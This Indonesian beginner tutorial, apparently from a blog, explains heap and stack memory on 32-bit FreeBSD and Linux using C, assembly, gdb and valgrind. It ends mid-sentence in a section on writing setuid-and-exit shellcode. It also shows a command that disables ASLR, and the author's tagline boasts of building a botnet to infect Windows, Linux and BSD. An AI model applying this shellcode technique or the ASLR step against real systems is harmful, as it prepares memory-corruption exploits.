=========Bermain main dengan heap dan stack di FreeBSD 32 bit=============== Writer: ev1lut10n Article Level : for beginner "Curr3ntly d3v3l0p1ng b0tn3t to 1nf3ct w1n,l1nux and bsd for var1ous 4tt4ck 1nclud1ng r3fl3ct3d 4tt4cks (alr3ady more than 2 years, why ? 1 p3rs0n 0nly m4k1ng th1s)" ------------------------------------------ content: - Foreword - Bermain main dengan Heap di FreeBSD 8.2 (malloc, sys_brk) - Valgrind & Alleyoop Memory Checker di linux 32 bit - Bermain main dengan Stack di FreeBSD 8.2 - Bonus Stage #1: Cara Membuat shellcode di freebsd 8.2 - Closing -[ Foreword ]----------------------------------------------------------------------------------------------------------------------------------------------------------------------- Mohon maaf yang sebesar2nya krn terbatasnya waktu jd di sini tidak disajikan artikel yang lengkap dan mendetail dan hanya ditujukan untuk pemula yg ingin bermain2 dengan heap dan stack di freebsd dan linux. -[ Bermain main dengan Heap di FreeBSD 8.2 ]----------------------------------------------------------------------------------------------------------------------------------------------------------------------- Daerah heap dari suatu memori merupakan suatu daerah yang dinamis. Bagian ini bisa dimanage / dipengaruhi dengan menggunakan malloc , free, realloc, calloc, jemalloc (BSD), brk,delete. Kalo dilihat di atas memory area ada 2 yaitu heap dan satu lagi unused (tidak terpakai), yang dimaksud unused adalah daerah .bss . Bagian ini merupakan bagian deklarasi variabel yang tidak atau belum diisi, bagian ini akan diinialisasi saat run time. ~malloc()~~ Ok untuk bermain main dengan heap kita mulai dengan contoh program dengan malloc untuk alokasi memori heap: ------------------------------------------------------------ /**sample heap (dynamic) memory allocation made by ev1lut10n**/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main() { if (fork() != 0) { exit(1); } char *bufer = (char *)malloc(sizeof(char)); memset(bufer, 'A', sizeof(char)-1); printf("%p",bufer); printf("\n================\n"); for(;;) { } return(0); } ----------------------------------------------------- misal diberi nama malloc.c lalu kompile dan jalankan: ------------------------- ev1lut10n# gcc -o malloc malloc.c -g ev1lut10n# ./malloc 0x28201100 ================ ev1lut10n# ------------------------- dari hasil di atas kita bisa melihat alamat memori heap yang dialokasikan dengan malloc dimulai dari alamat 0x28201100 (di tiap mesin dan sistem operasi beda beda). coba kita tes di mesin satu lagi dengan os freebsd 6.2: ----------- %uname -a FreeBSD myhost 6.3-PRERELEASE FreeBSD 6.3-PRERELEASE #1: Tue Nov 6 16:13:56 EST 2007 root@myhost.org:/usr/src/sys/i386/compile/MNET i386 %./malloc %0x804b030 ---------------- you'll see that's pretty much different. ok kembali lagi ke freebsd 8.2, kita tes lagi untuk memahami operasi pada daerah heap: -------------- /**malloc2 by ev1lut10n**/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #define UKURAN1 8 #define UKURAN2 8 #define UKURAN3 8 int main() { char *bafer = (char *)malloc(UKURAN1); memset(bafer, 'A', UKURAN1-1); char *bafer2 = (char *)malloc(UKURAN2); memset(bafer2, 'B', UKURAN2-1); char *bafer3 = (char *)malloc(UKURAN3); memset(bafer3, 'C', UKURAN3-1); printf("\nalamat heap bafer 1 adalah %p\n", bafer); printf("\nstring dump bafer 1 adalah %s\n", bafer); printf("\nalamat heap bafer 2 adalah %p\n", bafer2); printf("\nstring dump bafer 2 adalah %s\n", bafer2); printf("\nalamat heap bafer 3 adalah %p\n", bafer3); printf("\nstring dump bafer 3 adalah %s\n", bafer3); return 0; } ----------- ayayayay gw tau kode di atas jelek krn harusnya pake looping ;p kompile lalu debug dengan gdb: ----------------------- ev1lut10n# gcc -o malloc2 malloc2.c -g ev1lut10n# gdb -q malloc2 (gdb) l 1 /**malloc2 by ev1lut10n**/ 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <unistd.h> 5 #include <string.h> 6 #define UKURAN1 8 7 #define UKURAN2 8 8 #define UKURAN3 8 9 int main() 10 { (gdb) l 11 char *bafer = (char *)malloc(UKURAN1); 12 memset(bafer, 'A', UKURAN1-1); 13 char *bafer2 = (char *)malloc(UKURAN2); 14 memset(bafer2, 'B', UKURAN2-1); 15 char *bafer3 = (char *)malloc(UKURAN3); 16 memset(bafer3, 'C', UKURAN3-1); 17 printf("\nalamat heap bafer 1 adalah %p\n", bafer); 18 printf("\nstring dump bafer 1 adalah %s\n", bafer); 19 printf("\nalamat heap bafer 2 adalah %p\n", bafer2); 20 printf("\nstring dump bafer 2 adalah %s\n", bafer2); (gdb) l 21 printf("\nalamat heap bafer 3 adalah %p\n", bafer3); 22 printf("\nstring dump bafer 3 adalah %s\n", bafer3); 23 return 0; 24 } (gdb) ---------------------- selanjutnya break di line 23 dan tes run: <img width=600 src="http://3.bp.blogspot.com/-KZE04w_sO8E/Tep4cvx6G6I/AAAAAAAAAgE/M9AtuI04Qcw/s1600/malloc.jpg" width=600> ---------------- (gdb) b 23 Breakpoint 1 at 0x80485b1: file malloc2.c, line 23. (gdb) run Starting program: /root/c/malloc2 alamat heap bafer 1 adalah 0x28201050 string dump bafer 1 adalah AAAAAAA alamat heap bafer 2 adalah 0x28201058 string dump bafer 2 adalah BBBBBBB alamat heap bafer 3 adalah 0x28201060 string dump bafer 3 adalah CCCCCCC Breakpoint 1, main () at malloc2.c:23 23 return 0; (gdb) x/3s 0x28201050 0x28201050: "AAAAAAA" (673189968) 0x28201058: "BBBBBBB" (673189976) 0x28201060: "CCCCCCC" (673189984) (gdb) --------------------- dari dump string kita lihat length cuma 7 karena instruksi : memset(bafer2, 'B', UKURAN2-1); karena : #define UKURAN2 8 jadi 8-1=7 kita bandingkan sebentar dengan operasi pada stack, misal buat suatu program dg nama strncpy.c : -------------------------- /**sample stack operation local var by ev1lut10n**/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int main(int argc,char *argv[]) { char *bafer[8]; char *bafer2[8]; char *bafer3[3]; strncpy (bafer,argv[1],8); strncpy (bafer2,argv[2],8); strncpy (bafer3,argv[3],8); printf("\nalamat stack bafer 1 adalah %p\n", bafer); printf("\nstring dump bafer 1 adalah %s\n", bafer); printf("\nalamat stack bafer 2 adalah %p\n", bafer2); printf("\nstring dump bafer 2 adalah %s\n", bafer2); printf("\nalamat stack bafer 3 adalah %p\n", bafer3); printf("\nstring dump bafer 3 adalah %s\n", bafer3); return 0; } ------------------------------ kompile dengan opsi -g: dan debug dengan break di line 20 ---------- ev1lut10n# gdb -q strncpy (gdb) l 1 /**sample stack operation local var by ev1lut10n**/ 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <unistd.h> 5 #include <string.h> 6 int main(int argc,char *argv[]) 7 { 8 char *bafer[8]; 9 char *bafer2[8]; 10 char *bafer3[3]; (gdb) l 11 strncpy (bafer,argv[1],8); 12 strncpy (bafer2,argv[2],8); 13 strncpy (bafer3,argv[3],8); 14 printf("\nalamat stack bafer 1 adalah %p\n", bafer); 15 printf("\nstring dump bafer 1 adalah %s\n", bafer); 16 printf("\nalamat stack bafer 2 adalah %p\n", bafer2); 17 printf("\nstring dump bafer 2 adalah %s\n", bafer2); 18 printf("\nalamat stack bafer 3 adalah %p\n", bafer3); 19 printf("\nstring dump bafer 3 adalah %s\n", bafer3); 20 return 0; (gdb) b 20 Breakpoint 1 at 0x8048553: file strncpy.c, line 20. (gdb) run AAAAAAA BBBBBBB CCCCCCC Starting program: /root/c/strncpy AAAAAAA BBBBBBB CCCCCCC alamat stack bafer 1 adalah 0xbfbfe990 string dump bafer 1 adalah AAAAAAA alamat stack bafer 2 adalah 0xbfbfe970 string dump bafer 2 adalah BBBBBBB alamat stack bafer 3 adalah 0xbfbfe964 string dump bafer 3 adalah CCCCCCC Breakpoint 1, main (argc=4, argv=0xbfbfea0c) at strncpy.c:20 20 return 0; (gdb) ---------- ok jika kita bandingkan dengan debug program dengan operasi pada heap: malloc2.c (we're playing at heap): ----------- 0x28201050: "AAAAAAA" (673.189.968) 0x28201058: "BBBBBBB" (673.189.976) 0x28201060: "CCCCCCC" (673.189.984) ------------ di sini kita bisa lihat tiap ada alokasi baru dengan malloc() maka alamat memori akan bergerak ke atas ke alamat yg lebih tinggi strncpy.c (we're playin at stack area) ------------------- 0xbfbfe990: "AAAAAAA" (3.217.025.424) 0xbfbfe970: "BBBBBBB" (3.217.025.392) 0xbfbfe964: "CCCCCC" (3.217.025.380) ----------------- sebaliknya terjadi pada operasi stack, saat ada tumpukan baru alamat memori bergerak ke bawah ke alamat yang lebih rendah. (alamat memori yang lebih rendah) berikut ini gambaranya: <img width=600 ">src="http://4.bp.blogspot.com/-SxnbT57_atI/Tep4t6U8OCI/AAAAAAAAAgM/gY0L_oQ8Dfk/s1600/memlay.jpg"> ----------penggunaan sys_brk di linux dan freebsd---------- Misal berikut ini contoh kode assembly untuk implementasi sys_brk mov ebx, 0 mov eax, 0x2d ;----------> syscall sys_brk int 0x80 test eax, eax js label_error_handling_here ebx bisa diisi dengan zero atau non zero, krn kita tidak tau alamat memori yang tersedia maka ebx kita isi dengan zero. setelah itu nilai eax perlu dites: test eax,eax atau cmp eax,0 jika minus berarti terjadi kegagalan. berikut ini contoh penggunaan sys_brk: root@ev1lut10n-Vostro1310:~/asm# cat sys_brk.asm global _start section .text _start: mov ebx, 0 mov eax, 0x2d int 0x80 cmp eax, 0 jl gagal jmp sukses ;not efficient way dont do this in real code sukses: mov eax, 4 mov ebx, 1 mov ecx, berhasil mov edx, pberhasil int 0x80 mov eax,1 mov ebx,0 int 0x80 gagal: mov eax, 4 mov ebx, 1 mov ecx, salah mov edx, psalah int 0x80 mov eax,1 mov ebx,0 int 0x80 section .data salah db "sys_brk gagal !!!",10 psalah equ $ -salah berhasil db "sys_brk berhasil !!!",10 pberhasil equ $ -berhasil root@ev1lut10n-Vostro1310:~/asm# nasm -f elf sys_brk.asm root@ev1lut10n-Vostro1310:~/asm# ld -o sys_brk sys_brk.o root@ev1lut10n-Vostro1310:~/asm# ./sys_brk sys_brk berhasil !!! root@ev1lut10n-Vostro1310:~/asm# untuk mempermudah debugging tambahkan opsi -g root@ev1lut10n-Vostro1310:~/asm# nasm -f elf sys_brk.asm -g root@ev1lut10n-Vostro1310:~/asm# ld -o sys_brk sys_brk.o mari kita examine dengan strace root@ev1lut10n-Vostro1310:~/asm# strace ./sys_brk execve("./sys_brk", ["./sys_brk"], [/* 39 vars */]) = 0 brk(0) = 0x81e2000 write(1, "sys_brk berhasil !!!\n", 22sys_brk berhasil !!! ) = 22 _exit(0) = ? root@ev1lut10n-Vostro1310:~/asm# sedangkan untuk mencoba sys_brk di freebsd mari kita lihat dulu: ----------------- ev1lut10n# cat /usr/include/sys/syscall.h | grep brk #define SYS_sbrk 69 ev1lut10n# ------------------ jadi berikut ini rutin untuk memanggil sys brk: ------------------------------------- mov $0, %ebx mov $45,%eax int $0x80 test %eax, %eax js _gagal ---------------------------------- karena 69 desimal= 45 hexa berikut ini contoh kode assembly untuk sys_brk: ======================== .section .rodata evilbuf: .ascii "sys_brk berhasil !" len = . - evilbuf evilbuf2: .ascii "sys_brk gagal !" len2 = . - evilbuf2 .globl _start _start: mov $0, %ebx mov $45,%eax int $0x80 test %eax, %eax js _gagal pushl $len pushl $evilbuf pushl $1 movl $4,%eax pushl %eax int $0x80 jmp _out _gagal: pushl $len2 pushl $evilbuf2 pushl $1 movl $4,%eax pushl %eax int $0x80 _out: movl $1, %eax pushl $0 pushl %eax int $0x80 ============================= --[ Penggunaan Valgrind & Alleyoop Memory Checker di linux 32 bit]--------------------------------------------------------------------------------------------------------------------------------- Alleyoop merupakan gui untuk mengeksekusi valgrind di gnome. valgrind biasa digunakan untuk debug memori, mendeteksi memory leak, dll. Pertama tama kita tes penggunaan malloc dengan source yg sama seperti di atas, kali ini dites di linux : <img width=600 ">src="http://2.bp.blogspot.com/-6_nAGteZi_0/Tep412A6TsI/AAAAAAAAAgU/ibc7t1XB5Zs/s1600/fmtx.jpg"> ------------ root@ev1lut10n-Vostro1310:/opt# cat /proc/sys/kernel/randomize_va_space 2 ------------- keliatan alamat memori heap yg dialokasi dirandom, untuk itu kita matikan dulu: --------------- echo 0 > /proc/sys/kernel/randomize_va_space ------------- setelah dimatikan alamat virtual address memori menjadi tetap : ------------------------------- root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# ./malloc root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# 0x804b008 ================ root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# ./malloc root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# 0x804b008 ================ ------------------------------- Untuk menguji dengan Alleyoop : <img width=600 src=http://3.bp.blogspot.com/-mg_bASA1wJ4/Tep5Bc-ZWwI/AAAAAAAAAgc/vnCbQDWYJ1k/s1600/valgrind.jpg> valgrind bisa juga dites langsung dari cli: --------------------- root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# valgrind ./malloc ==13455== Memcheck, a memory error detector ==13455== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al. ==13455== Using Valgrind-3.6.1 and LibVEX; rerun with -h for copyright info ==13455== Command: ./malloc ==13455== 0x4198028 ================ ==13455== ==13455== HEAP SUMMARY: ==13455== in use at exit: 0 bytes in 0 blocks ==13455== total heap usage: 0 allocs, 0 frees, 0 bytes allocated ==13455== ==13455== All heap blocks were freed -- no leaks are possible ==13455== ==13455== For counts of detected and suppressed errors, rerun with: -v ==13455== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 11 from 6) root@ev1lut10n-Vostro1310:/home/ev1lut10n/artikel/c# ------------------------------------------------ --[ Bermain main dengan Stack di FreeBSD 8.2]------------------------------------------------------------------------------------------------------------------------------ untuk memahami cara kerja stack mari kita buat sample program assembly untuk bermain main dengan variabel lokal : ----------------------- global _start section .text _start: push ebp mov ebp,esp push 'AAAA' push 'BBBB' push 'CCCC' push 'DDDD' push 'EEEE' push 'FFFF' push 'GGGG' push 'HHHH' push 1 pop eax int 80h ------------------------- lakukan kompile dengan opsi -g : nasm -f elf stack.asm ld -o stack stack.o examine dengan gdb: ---------------------------------- ev1lut10n# gdb -q stack (gdb) l 1 global _start 2 section .text 3 _start: 4 push ebp 5 mov ebp,esp 6 push 'AAAA' 7 push 'BBBB' 8 push 'CCCC' 9 push 'DDDD' 10 push 'EEEE' (gdb) l 11 push 'FFFF' 12 push 'GGGG' 13 push 'HHHH' 14 push 1 15 pop eax 16 int 80h (gdb) b 6 Breakpoint 2 at 0x8048083: file stack.asm, line 6. (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/c/stack Breakpoint 2, 0x08048083 in _start () (gdb) p $esp $4 = (void *) 0xbfbfea30 (gdb) p $ebp $5 = (void *) 0xbfbfea30 ----------------------- karena perintah: -------------------------- mov ebp,esp -------------------------- --------------------- (gdb) b 7 Breakpoint 1 at 0x8048088: file stack.asm, line 7. (gdb) run Starting program: /root/c/stack Breakpoint 1, 0x08048088 in _start () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbfbfea2c 0xbfbfea2c ebp 0xbfbfea30 0xbfbfea30 esi 0x0 0 edi 0x0 0 eip 0x8048088 0x8048088 eflags 0x202 514 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x3b 59 (gdb) --------------------- kita bisa lihat ada perubahan : ----------------------------- esp 0xbfbfea2c (3217025580) ebp 0xbfbfea30 (3217025584) --------------------------- di sini kita bisa lihat dari top of stack telah dipush word pertama 'AAAA' : --------------------------- (gdb) x/s 0xbfbfea2c 0xbfbfea2c: "AAAA" (gdb) -------------------------- push 'BBBB': esp 0xbfbfea28 (3217025576) ebp 0xbfbfea30 (3217025584) (gdb) x/s 0xbfbfea28 0xbfbfea28: "BBBBAAAA" (gdb) --------------- s/d HHHH: esp 0xbfbfea10 (3217025552) ebp 0xbfbfea30 (3217025584) (gdb) x/s 0xbfbfea10 0xbfbfea10: "HHHHGGGGFFFFEEEEDDDDCCCCBBBBAAAA" (gdb) ------------------ Dari gambaran di atas kita sudah mengetahui cara kerja stack dengan operasi push, saat terjadi push nilai esp setiap kali kita melakukan push selalu bergeser ke alamat memori yang lebih kecil, Selisih antara ebp dan esp ---- 0xbfbfea30-0xbfbfea10 = 20h = 32 desimal = jumlah karakter yang telah dipush. selanjutnya kita akan melakukan tes pop : misal kita edit program tadi kita tambahkan pop: pop.asm ------------------------ global _start section .text _start: push ebp mov ebp,esp push 'AAAA' push 'BBBB' push 'CCCC' push 'DDDD' push 'EEEE' push 'FFFF' push 'GGGG' push 'HHHH' pop eax pop eax pop eax pop eax pop eax pop eax pop eax pop eax push 1 pop eax int 80h ------------------------- dengan : pop eax berarti kita memindahkan top stack ke register eax. simpan dengan nama misal : pop.asm lalu kompile dan debug: ------------ ev1lut10n# nasm -f elf pop.asm -g ev1lut10n# ld -o pop pop.o ev1lut10n# gdb -q pop (gdb) l 1 global _start 2 section .text 3 _start: 4 push ebp 5 mov ebp,esp 6 push 'AAAA' 7 push 'BBBB' 8 push 'CCCC' 9 push 'DDDD' 10 push 'EEEE' (gdb) l 11 push 'FFFF' 12 push 'GGGG' 13 push 'HHHH' 14 pop eax 15 pop eax 16 pop eax 17 pop eax 18 pop eax 19 pop eax 20 pop eax (gdb) l 21 pop eax 22 push 1 23 pop eax 24 int 80h (gdb) b 15 Breakpoint 1 at 0x80480ac: file pop.asm, line 15. (gdb) run Starting program: /root/c/pop Breakpoint 1, 0x080480ac in _start () (gdb) i r eax 0x48484848 1212696648 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbfbfea28 0xbfbfea28 ebp 0xbfbfea44 0xbfbfea44 esi 0x0 0 edi 0x0 0 eip 0x80480ac 0x80480ac eflags 0x202 514 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x3b 59 (gdb) x/s 0xbfbfea28 0xbfbfea28: "GGGGFFFFEEEEDDDDCCCCBBBBAAAA" (gdb) ---------- kita di sini bisa lihat setelah dilakukan pop jika didump data berupa string mulai dari 0xbfbfea28 maka sisanya adl: GGGGFFFFEEEEDDDDCCCCBBBBAAAA (Last in first Out) ------------- ev1lut10n# gdb -q stack (gdb) l warning: Source file is more recent than executable. 1 global _start 2 section .text 3 _start: 4 push ebp 5 mov ebp,esp 6 push 'AAAA' 7 push 'BBBB' 8 push 'CCCC' 9 push 'DDDD' 10 push 'EEEE' (gdb) l 11 push 'FFFF' 12 push 'GGGG' 13 push 'HHHH' 14 pop eax 15 pop eax 16 pop eax 17 pop eax 18 pop eax 19 pop eax 20 pop eax (gdb) b 12 Breakpoint 1 at 0x80480a1: file stack.asm, line 12. (gdb) run Starting program: /root/c/stack Breakpoint 1, 0x080480a1 in _start () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0x0 0 esp 0xbfbfea1c 0xbfbfea1c ebp 0xbfbfea34 0xbfbfea34 esi 0x0 0 edi 0x0 0 eip 0x80480a1 0x80480a1 eflags 0x202 514 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x3b 59 (gdb) x/s $ebp-4 0xbfbfea30: "AAAA" (gdb) x/s $ebp-8 0xbfbfea2c: "BBBBAAAA" (gdb) x/s $ebp-12 0xbfbfea28: "CCCCBBBBAAAA" (gdb) x/s $ebp-14 0xbfbfea26: "DDCCCCBBBBAAAA" (gdb) info frame Stack level 0, frame at 0xbfbfea3c: eip = 0x80480a1 in _start; saved eip 0x1 called by frame at 0x0 Arglist at 0xbfbfea34, args: Locals at 0xbfbfea34, Previous frame's sp is 0xbfbfea3c Saved registers: ebp at 0xbfbfea34, eip at 0xbfbfea38 ---------------------------- di sini jika kita dump alamat memori dari $ebp-4 maka kita dapatkan tumpukan paling bawah dengan hasil dump : "AAAA" dan seterusnya... Pada contoh di atas kita menggunakan variabel lokal. Selanjutnya kita akan pakai bahasa C untuk menguji coba parameter ev1lut10n.c : -------------------------------- #include <stdio.h> int main(int argc,char **argv[]) { printf("%s %s\n",argv[1],argv[2]); printf("%08x %08x\n",argv[1],argv[2]); return 0; } ------------------------------- kompile dan tes: -------------- ev1lut10n# gcc -o ev1lut10n ev1lut10n.c -g ev1lut10n# ./ev1lut10n a b a b bfbfebbb bfbfebbd ev1lut10n# ---------------- ok mari kita debug: ---------------------- ev1lut10n# gdb -q ev1lut10n (gdb) l 1 #include <stdio.h> 2 int main(int argc,char **argv[]) 3 { 4 printf("%s %s\n",argv[1],argv[2]); 5 printf("%08x %08x\n",argv[1],argv[2]); 6 return 0; 7 } 8 (gdb) b 6 Breakpoint 1 at 0x804849c: file ev1lut10n.c, line 6. (gdb) run AAAA BBBB Starting program: /root/c/ev1lut10n AAAA BBBB AAAA BBBB bfbfeba1 bfbfeba6 Breakpoint 1, main (argc=3, argv=0xbfbfea18) at ev1lut10n.c:6 6 return 0; (gdb) ----------------------- string AAAA (parameter ke 1 ) bisa kita dump mulai alamat memori 0xbfbfeba1 : ----------- (gdb) x/s 0xbfbfeba1 0xbfbfeba1: "AAAA" (gdb) ------------- string BBBB (parameter ke 2 ) bisa kita dump mulai alamat memori 0xbfbfeba6 --------------- (gdb) x/s 0xbfbfeba6 0xbfbfeba6: "BBBB" (gdb) info frame Stack level 0, frame at 0xbfbfe9d0: eip = 0x804849c in main (ev1lut10n.c:6); saved eip 0x80483c7 source language c. Arglist at 0xbfbfe9ac, args: argc=3, argv=0xbfbfea18 Locals at 0xbfbfe9ac, Previous frame's sp at 0xbfbfe9c0 Saved registers: ebx at 0xbfbfe9c4, ebp at 0xbfbfe9c8, eip at 0xbfbfe9cc (gdb) x/30s 0xBFBFEB8D 0xbfbfeb8d: "" 0xbfbfeb8e: "" 0xbfbfeb8f: "" 0xbfbfeb90: "/root/c/ev1lut10n" 0xbfbfeba1: "AAAA" 0xbfbfeba6: "BBBB" 0xbfbfebab: "COLUMNS=80" 0xbfbfebb6: "LINES=24" 0xbfbfebbf: "ORBIT_SOCKETDIR=/var/tmp/orbit-root" 0xbfbfebe3: "WINDOWPATH=9" 0xbfbfebf0: "DISPLAY=:0.0" 0xbfbfebfd: "GNOME_KEYRING_PID=1974" 0xbfbfec14: "GDM_KEYBOARD_LAYOUT=us" 0xbfbfec2b: "LOGNAME=root" 0xbfbfec38: "PWD=/root/c" 0xbfbfec44: "HOME=/root" --------------------- Gambaran Memori Saat printf dipanggil dari main() : ------------------------------------------------ 0xbfbfeba6 | parameter ke 2 (ebp+1DE)|"BBBB" (3217025958) 0xbfbfeba1 | parameter ke 1 (ebp+1D5) | "AAAA" (3217025953) 0xbfbfeb90 | parameter ke 0 (ebp+1c8) | /root/c/ev1lut10n (3217025936) 0xbfbfe9cc | eip (ebp+4) | (3217025484) 0xbfbfe9c8 | ebp | (3217025480) 0xbfbfe9b0 | esp | (3217025456) -------------------------------------------------- ****contoh debugging program dengan operasi stack --------------------- /**operasi stack di c by mr dom dom**/ #include <stdio.h> void operasi_stak(char a[],char b[],char c[],char d[]) { } int main(int argc, char *argv[]) { operasi_stak("AAAA","BBBB","CCCC","DDDD"); return 0; } ----------------------- misal kita beri nama stack.c lalu kompile: gcc -o stack stack.c -g lalu examine dengan gdb: --------------- ev1lut10n# gdb -q stack (gdb) l 1 /**operasi stack di c by mr dom dom**/ 2 #include <stdio.h> 3 void operasi_stak(char a[],char b[],char c[],char d[]) 4 { 5 6 } 7 int main(int argc, char *argv[]) 8 { 9 operasi_stak("AAAA","BBBB","CCCC","DDDD"); 10 return 0; (gdb) ---------------------- Lakukan break di line 9 saat terjadinya operasi stack: ---------------- (gdb) b 9 Breakpoint 2 at 0x8048431: file stack.c, line 9. -------------- tes run : ------------------ (gdb) run Starting program: /root/artikel/c/stack Breakpoint 1, main () at stack.c:9 warning: Source file is more recent than executable. 9 operasi_stak("AAAA","BBBB","CCCC","DDDD"); (gdb) ---------------- lakukan dissasemble terhadap fungsi main (dump 16 instruksi assembly mulai dari main): ---------------------------------- (gdb) x/16i main 0x8048420 <main>: lea 0x4(%esp),%ecx 0x8048424 <main+4>: and $0xfffffff0,%esp 0x8048427 <main+7>: pushl 0xfffffffc(%ecx) 0x804842a <main+10>: push %ebp 0x804842b <main+11>: mov %esp,%ebp 0x804842d <main+13>: push %ecx 0x804842e <main+14>: sub $0x10,%esp 0x8048431 <main+17>: movl $0x8048501,0xc(%esp) 0x8048439 <main+25>: movl $0x8048506,0x8(%esp) 0x8048441 <main+33>: movl $0x804850b,0x4(%esp) 0x8048449 <main+41>: movl $0x8048510,(%esp) 0x8048450 <main+48>: call 0x8048410 <operasi_stak> 0x8048455 <main+53>: mov $0x0,%eax 0x804845a <main+58>: add $0x10,%esp 0x804845d <main+61>: pop %ecx 0x804845e <main+62>: pop %ebp (gdb) step operasi_stak (a=0x8048510 "AAAA", b=0x804850b "BBBB", c=0x8048506 "CCCC", d=0x8048501 "DDDD") at stack.c:6 6 } (gdb) info frame Stack level 0, frame at 0xbfbfe994: eip = 0x8048413 in operasi_stak (stack.c:6); saved eip 0x8048455 called by frame at 0xbfbfe9b0 source language c. Arglist at 0xbfbfe98c, args: a=0x8048510 "AAAA", b=0x804850b "BBBB", c=0x8048506 "CCCC", d=0x8048501 "DDDD" Locals at 0xbfbfe98c, Previous frame's sp is 0xbfbfe994 Saved registers: ebp at 0xbfbfe98c, eip at 0xbfbfe990 (gdb) ----------------------- (alamat memori: 0x8048420 s/d 0x804845e merupakan bagian segment .text) * penjelasan instruksi assembly yang didump: ok jika kita lihat pertama 2 : lea 0x4(%esp),%ecx , di sini untuk menyimpan alamat dari argumen ke 0 ke register cx (ebp-4). selanjutnya diikuti oleh rutin: and $0xfffffff0,%esp, perhatian $0xfffffff0 di sini maksudnya bukan alamat memori, jika kita konvert ke biner: 0xfffffff0 = 11111111111111111111111111110000 selanjutnya instruksi : pushl 0xfffffffc(%ecx) atau bisa juga ditulis: mov dword ptr[ebp-4],1 selanjutnya akan dipersiapkan stack frame pointer baru : push %ebp mov %esp,%ebp variabel diinput ke stack mulai dari yang paling kanan dan selanjutnya s/d ke kiri: string dump DDDD pada alamat 0x8048501 setelah itu yang di lanjutkan CCCC dst ------------------------ (gdb) x/4s 0x8048501 0x8048501 <_fini+101>: "DDDD" 0x8048506 <_fini+106>: "CCCC" 0x804850b <_fini+111>: "BBBB" 0x8048510 <_fini+116>: "AAAA" (gdb) -------------------- berada pada region elf <fini>. Pada saat fungsi dipanggil maka alamat eip untuk jmp kembali setelah pemanggilan fungsi akan disimpan di frame pointer --------------------------------------- jika digambarkan lebih lengkap tentang variabel lokal (buffer) dan parameter serta stack frame pointer kurang lebih seperti ini: <img width=600 ">src="http://3.bp.blogspot.com/-4JBSqswd-wA/Tep5HZoBd7I/AAAAAAAAAgk/48PN7k6azpY/s1600/fmt2.jpg"> Ret / EIP berisi alamat memori untuk return address ke bagian eksekusi kode selanjutnya. ebp disebut juga frame pointer. eip 0xbfbfea38 (3217025592) ebp 0xbfbfea34 (3217025588) Untuk lebih detailnya gambaranya adl sbb: <img width=600 ">src="http://3.bp.blogspot.com/-TH8hsXRwWgU/Tep5N_UbElI/AAAAAAAAAgs/5JzDBX48VSE/s1600/fmt3.jpg"> ----------------- -[Membuat shellcode di Freebsd 8.2 ]----------------------------------------------------------------------------------------------------------------------------- "mengakses register lebih cepat dari mengakses memori karena register ada di cpu dan memori baru terhubung ke cpu melalui bus" kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit ------------------------ ev1lut10n# uname -a FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46 UTC 2011 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 ev1lut10n# ----------------------- untuk freebsd 8.2 daftar syscall bisa dilihat di /usr/include/sys/syscall.h ------------------- ev1lut10n# cat /usr/include/sys/syscall.h | grep setuid #define SYS_setuid 23 ------------------- jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17 hexa) ---------------- mov eax,0x17 int 80h -------------- 0x: berarti kita akan memindahkan angka berformat hex untuk memastikanya coba kita liat lagi di /usr/include/unistd.h: --------------------------- ev1lut10n# cat /usr/include/unistd.h | grep setuid int setuid(uid_t); --------------------------- terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan pemasukanya selalu : eax, ebx, ecx, edx, esi ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan syscall exit: sebelumnya kita liat dulu kebutuhan kita: ----------------------- ev1lut10n# cat /usr/include/sys/syscall.h | grep exit #define SYS_exit 1 #define SYS_thr_exit 431 ev1lut10n# ----------------------- yang akan kita pakai adl yg ini: #define SYS_exit 1 ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi syscall exit: keluar: mov eax,0x01 int 80h ------------------ ;copyleft by dom dom aka m0nk3y global _start section .text _start: xor eax,eax push eax push eax mov eax,0x17 int 80h keluar: push byte 0x01 pop eax int 80h ----------------- misal namanya setuid_exit.asm ev1lut10n# nasm -f elf setuid_exit.asm ev1lut10n# ld -o setuid_exit setuid_exit.o ev1lut10n# ./setuid_exit gak ada segmentation fault berarti ok heh? untuk membuat shellcodenya gunakan objdump seperti di linux: ----------------------------- ev1lut10n# objdump -d setuid_exit setuid_exit: file format elf32-i386-freebsd Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: b8 17 00 00 00 mov $0x17,%eax 8048089: cd 80 int $0x80 0804808b <keluar>: 804808b: 6a 01 push $0x1 804808d: 58 pop %eax 804808e: cd 80 int $0x80 ev1lut10n# _________________ jika register eax diganti register ax, berdasarkan pengalaman masih ada null string, jadi kita pake register 8 bit: al mov $0x17,%eax menjadi: mov 